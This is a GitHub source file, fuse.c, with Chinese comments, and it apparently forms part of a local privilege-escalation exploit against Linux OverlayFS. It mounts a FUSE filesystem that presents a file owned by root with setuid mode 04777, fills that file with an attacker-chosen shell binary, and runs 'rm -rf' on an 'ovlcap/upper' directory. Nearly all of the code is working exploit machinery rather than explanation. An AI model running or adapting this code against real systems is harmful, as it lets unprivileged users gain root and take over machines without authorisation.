-
Notifications
You must be signed in to change notification settings - Fork 2
/
fuse.c
223 lines (198 loc) · 5.48 KB
/
fuse.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#define FUSE_USE_VERSION 29
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
char content[0x100000];
int clen;
// static char mount_path[] = "./ovlcap/lower3";
static char mount_path[0x100];
static char shell_path[0x100];
static int cnt = 0;
void fatal(const char *msg)
{
perror(msg);
exit(1);
}
static int getattr_callback(const char *path, struct stat *stbuf)
{
// 对应ls的callback
puts("[+] getattr_callback");
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/file") == 0)
{
puts(path);
stbuf->st_mode = S_IFREG | 04777; // 为了有suid权限
// stbuf->st_mode = S_IFLNK | 0777;
stbuf->st_nlink = 1;
// stbuf->st_size = strlen(content);
stbuf->st_uid = 0;
stbuf->st_gid = 0;
stbuf->st_size = clen;
return 0;
}
else if (strcmp(path, "/") == 0)
{
puts(path);
stbuf->st_mode = S_IFDIR | 0777; // 为了有suid权限
// stbuf->st_mode = S_IFLNK | 0777;
stbuf->st_nlink = 2;
// stbuf->st_size = strlen(content);
// stbuf->st_size = clen;
stbuf->st_uid = 1000;
stbuf->st_gid = 1000;
return 0;
}
return -ENOENT;
}
static int open_callback(const char *path, struct fuse_file_info *fi)
{ // 对应open
puts("[+] open_callback");
puts(path);
if (strcmp(path, "file") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
// 对应read函数
static int read_callback(const char *path,
char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
puts("[+] read_callback");
printf(" cnt : %d\n", cnt);
printf(" content : %s\n", content);
printf(" clen : %d\n", clen);
printf(" path : %s\n", path);
printf(" size : 0x%lx\n", size);
printf(" offset: 0x%lx\n", offset);
char tmp;
if (strcmp(path, "/file") == 0)
{
size_t len = clen;
if (offset >= len)
return 0;
if ((size > len) || (offset + size > len))
{
memcpy(buf, content + offset, len - offset);
return len - offset;
}
else
{
memcpy(buf, content + offset, size);
return size;
}
}
return -ENOENT;
}
int read_buf_callback(const char *path, struct fuse_bufvec **bufp,
size_t size, off_t off, struct fuse_file_info *fi)
{
puts("[+] read buf callback");
printf("offset %d\n", off);
printf("size %d\n", size);
printf("path %s\n", path);
struct fuse_bufvec *src;
src = malloc(sizeof(struct fuse_bufvec));
if (src == NULL)
return -ENOMEM;
// size_t len = clen;
// if (off >= len)
// return 0;
// if ((size > len) || (offset + size > len))
// {
// memcpy(buf, content + offset, len - offset);
// return len - offset;
// }
// else
// {
// memcpy(buf, content + offset, size);
// return size;
// }
*src = FUSE_BUFVEC_INIT(size);
// src->buf[0].flags = FUSE_BUF_IS_FD | FUSE_BUF_FD_SEEK;
// src->buf[0].fd = fi->fh;
char *data = malloc(size);
// strcpy(data, "hello worldaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
memset(data, 0, size);
memcpy(data, content, size);
src->buf[0].flags = FUSE_BUF_FD_SEEK;
src->buf[0].pos = off;
src->buf[0].mem = data;
*bufp = src;
return 0;
}
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
{
puts("[+] readdir");
filler(buf, "file", NULL, 0);
return 0;
}
static struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
.read_buf = read_buf_callback,
.ioctl = ioctl_callback,
.readdir = readdir_callback,
};
void start_fuse()
{
// mk mount path
if (mkdir(mount_path, 0777))
perror("mkdir");
system("rm -rf ./ovlcap/upper/*");
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;
if (!(chan = fuse_mount(mount_path, &args)))
fatal("fuse_mount");
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL)))
{
fuse_unmount(mount_path, chan);
fatal("fuse_new");
}
fuse_set_signal_handlers(fuse_get_session(fuse)); // 设置监听,当程序退出(接收到SIGINT信号)是会终止退出
fuse_loop_mt(fuse); // 监视对文件系统的操作事件
fuse_unmount(mount_path, chan);
}
int main(int argc, char const *argv[])
{
// strcpy(content, "hello world!");
// clen = strlen(content);
if (argc < 3)
{
puts("[-] usage:");
puts("./fuse [mount path] [shell path]");
return -1;
}
strcpy(mount_path, argv[1]);
strcpy(shell_path, argv[2]);
int fd = open(shell_path, O_RDONLY);
if (fd < 0)
{
fatal("open gc");
}
clen = 0;
while (read(fd, content + clen, 1) > 0)
clen++;
close(fd);
printf("[+] len of gc: 0x%x\n", clen);
start_fuse();
rmdir(mount_path);
return 0;
}